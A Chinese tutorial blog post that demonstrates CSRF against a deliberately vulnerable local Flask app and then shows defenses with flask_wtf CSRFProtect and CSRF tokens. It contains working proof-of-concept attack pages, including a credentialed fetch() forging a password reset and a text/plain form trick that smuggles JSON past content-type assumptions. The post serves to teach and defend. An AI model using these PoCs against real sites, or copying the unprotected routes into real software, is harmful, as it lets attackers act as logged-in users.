CSRF攻击模拟与防御——以Flask为例

GET型CSRF

先写一个有问题地网站吧:

from flask import Flask, request, render_template_string, session

app = Flask(__name__)
app.secret_key='random_secret_key'

@app.route('/csrf', methods=['GET'])
def csrf():
    if session.get('user','')=='admin':
        return "Admin do something!"
    else:
        return "No Privilege..."

@app.route('/login', methods=['GET'])
def login():
    user=request.args.get("user", "Null")
    session["user"]=user
    template="""
    <h3> Login as {{ user }}... </h3>
    """
    return render_template_string(template, user=user)

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8888)

使用http://127.0.0.1:8888/login?user=aaa模拟用户aaa登陆,从代码可以看到登陆后网站将用户身份(简单起见就是用户名)保存到session中。

1543924963235.png

再访问http://127.0.0.1:8888/csrf提示没有权限

1543924950598.png

以Admin登陆,提示Admin用户权限,假设这个请求是某个操作,比如admin重置自身密码为1234567:

1543925057392.png

此时如果用户访问了恶意网页,恶意网页诱导用户访问http://127.0.0.1:8888/csrf,那么用户由于sessionID还存在于浏览器中,因此会在无意间使用自己的身份重置密码,如诱导用户点击“ClickHere”链接:

1543925784330.png

接着可以看到由于用户的session存在,因此用户点击诱导链接后就会无意地使用自己的权限:

1543925854107.png

换用POST——POST型CSRF

有人说,换用POST不就好了吗?的确,修改方法为POST方法确实是我们要做的第一步

POST型的表单请求

假设服务器已经使用了POST型请求,如下:

@app.route('/reset', methods=['GET'])
def reset():
    template="""
    <form action="http://127.0.0.1:8888/csrf_post" method="POST">
    <input name="action" type="text">
    <input type="submit">
    </form>
    """
    return render_template_string(template)

@app.route('/csrf_post', methods=['POST'])
def csrf_post():
    print(request.form)
    data=request.form["action"]
    print("session:",session)
    if session.get('user','')=='admin':
        print("Admin do", data)
        return "Admin do "+data

    else:
        print("No Privilege2...")
        return "No Privilege2..."

正常用户通过/reset发送post请求修改密码:

1543978510721.png

密码修改成功:

1543978495643.png

那么攻击者也可以模拟post请求,同样造成csrf:

<html>
    <title>JSON CSRF POC</title>
    <body>
    <center>
    <h1> JSON CSRF POC </h1>
    <script>
    function submitRequest()
    {
      fetch('http://127.0.0.1:8888/csrf_post',{method: 'POST', credentials: 'include', headers:{'Content-Type': 'application/x-www-form-urlencoded'}, body:'action=reset+password'})
    }
    </script>
    <form action="#">
    <input type="button" value="Submit request" onclick="submitRequest()"/>
    </form>
    </center>
    </body>
</html>

把按钮去了就可以变成一个自动POST的恶意网站,只要用户访问即可重置密码:

1543979180735.png

防御

对于flask,使用

from flask_wtf.csrf import CSRFProtect

app.config['SECRET_KEY'] = 'you never guess'
CSRFProtect(app)

打开csrf保护,接着再对所有的表单添加一个隐藏字段即可:

<input type="hidden" name="csrf_token" value="{{ csrf_token() }}" />

增加隐藏字段后,每次POST时都会带有一个csrf_token,攻击者由于同源策略是无法获取这个token的,另外token写进session里面,即session和token是一对一关系,因此攻击者也无法通过自己的token猜测别人的token,而服务器再POST请求过来时就会验证这个token是否与session一致,若不一致则拒绝服务,这样一来攻击者就无法攻击成功了(除了把token放表单里,还可以放cookie里,攻击者仍然无法获取):

1543979704237.png

POST型的json请求

如果浏览器严格限制了Content-Type=application/json(flask的获取方法为request.get_json())——这得益于同源策略,使用POST方法进行CSRF攻击本身就已经很难了:

当然,如果不判断content-type,那么还是有机会的,:

模拟脆弱的服务器:

@app.route('/action', methods=['GET'])
def normalAction():
    template="""
    <html>
    <title>Normal</title>
    <center>
    <h1> Reset Password </h1>
    <head>
    <script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
    <script type="text/javascript">
    $(document).ready(function(){
      $("button").click(function(){
        // body为"data=json"的请求
        // var data = {data: JSON.stringify({"action": "reset password"})}
        // body直接为json
        var data = JSON.stringify({"action": "reset password"})
        $.ajax({
            url:"http://127.0.0.1:8888/csrf2",
            contentType: "application/json",
            dataType: "json",
            type: 'POST',
            data: data,
            success: function (msg) {
                        alert(msg.status);
                    }
            })
      });
    });
    </script>
    </head>
    <body>
    <button>Conform</button>
    </body>
    </html>
    """
    return render_template_string(template)

@app.route('/csrf2', methods=['POST'])
def csrf2():
    print(request.get_data())
    data=json.loads(request.get_data(as_text=True))
    print("session:",session)
    if session.get('user','')=='admin':
        print("Admin do", data["action"])
        return jsonify(dict(status="success"))

    else:
        print("No Privilege2...")
        return jsonify(dict(status="failed"))

这里,正常的访问Nomal进行密码重置时可行的:

1543977341098.png

但是攻击者使用相同的代码则会失败,原因是同源策略

1543977364148.png

但是,攻击者可以使用如下方法攻击,注意enctype是成功的关键,他能保证发过去的东西不被url编码,并且使用name和value配合来达到json合法的目的:

<html>
    <form action="http://127.0.0.1:8888/csrf2" method="POST" enctype="text/plain">
    <input name='{"action":"reset", "test":"' value='test"}' type='hidden'>
    <input type=submit>
    </form>
</html>
1543931144169.png

可以看到攻击成功

1543977726816.png

如果不考虑回显,我们还可以使用如下脚本,有人会怀疑,为什么这里同源没有效果呢?因为注意这里的Content-Type=text/plain,这时的策略时js的请求仍然能够发出去,但是不能获取结果,若Content-Type=text/json时,浏览器将会首先发送一个OPTIONS预检请求,如果服务器不允许跨域则不能发送请求。

<html>
    <title>JSON CSRF POC</title>
    <body>
    <center>
    <h1> JSON CSRF POC </h1>
    <script>
    function submitRequest()
    {
      fetch('http://127.0.0.1:8888/csrf2',{method: 'POST', credentials: 'include', headers:{'Content-Type': 'text/plain'}, body:'{"action":"reset password"}'})
    }
    </script>
    <form action="#">
    <input type="button" value="Submit request" onclick="submitRequest()"/>
    </form>
    </center>
    </body>
</html>

可以看到,虽然ajax获取结果失败,但是依然可以发送请求:

1543980433752.png

通过抓包可以看到操作实际是成功的:

1543980472782.png

防御

同样还是先开启CSRF防御:

from flask_wtf.csrf import CSRFProtect


app = Flask(__name__)
app.secret_key = 'random_secret_key'
CSRFProtect(app)

我们要想办法让自己站的ajax拿到csrf_token,就像之前说的,将token放进cookie里,使用app.after_request修饰使得每个页面返回时都执行:

@app.after_request
def after_request(response):
    # 调用函数生成 csrf_token
    csrf_token = generate_csrf()
    # 通过 cookie 将值传给前端
    response.set_cookie("csrf_token", csrf_token)
    return response

接着ajax从cookie拿到token并放到headers里,不用担心攻击者,因为由于同源策略,他们没法获取其他网站的cookie:

@app.route('/reset2', methods=['GET'])
def reset2():
    template = """
    <html>
    <title>Normal</title>
    <center>
    <h1> Reset Password </h1>
    <head>
    <script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
    <script type="text/javascript">
    $(document).ready(function(){
      $("button").click(function(){
        // body为"data=json"的请求
        // var data = {data: JSON.stringify({"action": "reset password"})}
        // body直接为json
        var data = JSON.stringify({"action": "reset password"})
        $.ajax({
            url:"http://127.0.0.1:8888/csrf2",
            contentType: "application/json",
            headers:{'X-CSRFToken':$.cookie('csrf_token')},
            dataType: "json",
            type: 'POST',
            data: data,
            success: function (msg) {
                        alert(msg.status);
                    }
            })
      });
    });
    </script>
    </head>
    <body>
    <button>Conform</button>
    </body>
    </html>
    """
    return render_template_string(template)
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容